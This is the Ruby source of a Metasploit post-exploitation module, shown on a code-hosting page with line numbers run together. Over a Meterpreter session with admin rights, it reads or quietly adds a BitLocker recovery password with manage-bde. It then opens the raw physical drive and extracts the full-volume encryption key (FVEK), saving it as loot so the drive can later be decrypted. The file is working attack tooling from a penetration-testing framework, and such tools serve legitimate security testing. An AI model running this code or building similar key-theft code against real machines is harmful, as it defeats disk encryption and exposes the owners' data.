Path: blob/master/modules/post/windows/gather/bitlocker_fvek.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Windows::Error8include Msf::Post::Windows::FileInfo9include Msf::Post::File1011ERROR = Msf::Post::Windows::Error1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bitlocker Master Key (FVEK) Extraction',18'Description' => %q{19This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally20or can be generated, dump the Bitlocker master key (FVEK)21},22'License' => MSF_LICENSE,23'Platform' => ['win'],24'SessionTypes' => ['meterpreter'],25'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz26'References' => [27['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],28['URL', 'https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/'],29],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34},35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_railgun_api39stdapi_sys_config_getenv40]41}42}43)44)4546register_options(47[48OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),49OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])50]51)52end5354def run55file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'56major, minor, _build, _revision, _branch = file_version(file_path)57winver = (major.to_s + '.' + minor.to_s).to_f5859fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 660fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?6162drive_letter = datastore['DRIVE_LETTER']63system_root = expand_path('%SYSTEMROOT%')6465cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")6667@starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i6869drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]7071r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",72'GENERIC_READ',73'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',74nil,75'OPEN_EXISTING',76'FILE_FLAG_WRITE_THROUGH',770)7879if r['GetLastError'] != ERROR::SUCCESS80fail_with(Failure::Unknown,81"Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}82- #{r['ErrorMessage']}")83end8485@handle = r['return']86print_good("Successfully opened Disk #{drive_number}")87seek(0)8889if !datastore['RECOVERY_KEY'].nil?90print_status('Using provided recovery key')91recovery_key = datastore['RECOVERY_KEY']92else93print_status('Trying to gather a recovery key')9495manage_bde = "#{system_root}\\system32\\manage-bde.exe"96unless exist?(manage_bde)97manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"98unless exist?(manage_bde)99fail_with(Failure::Unknown, 'manage-bde.exe not found')100end101end102103cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")104105recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)106107if !recovery_key.nil?108recovery_key = recovery_key[1]109print_good("Recovery key found : #{recovery_key}")110else111print_status('No recovery key found, trying to generate a new recovery key')112cmd_out = cmd_exec(manage_bde,113"-protectors -add #{drive_letter}: -RecoveryPassword")114recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)115id_key_tmp = cmd_out.match(/(\{[^}]+\})/)116if !recovery_key.nil?117recovery_key = recovery_key[1]118id_key_tmp = id_key_tmp[1]119print_good("Recovery key generated successfully : #{recovery_key}")120else121print_error('Recovery Key generation failed')122print_status('No recovery key can be used')123return124end125end126end127128begin129@bytes_read = 0130fs = Rex::Parser::BITLOCKER.new(self)131print_status('The recovery key derivation usually take 20 seconds...')132fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)133if !fvek.blank?134stored_path = store_loot('windows.file', 'application/octet-stream',135session, fvek)136print_good("Successfully extracted FVEK in #{stored_path}")137print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')138else139print_error('Failed to generate FVEK, wrong recovery key?')140end141ensure142unless id_key_tmp.nil?143print_status('Deleting temporary recovery key')144cmd_exec(manage_bde,145"-protectors -delete #{drive_letter}: -id #{id_key_tmp}")146end147client.railgun.kernel32.CloseHandle(@handle)148end149print_status('Post Successful')150end151152def read(size)153client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']154end155156def seek(offset)157offset += @starting_offset158high_offset = offset >> 32159low_offset = offset & (2**33 - 1)160client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)161end162end163164165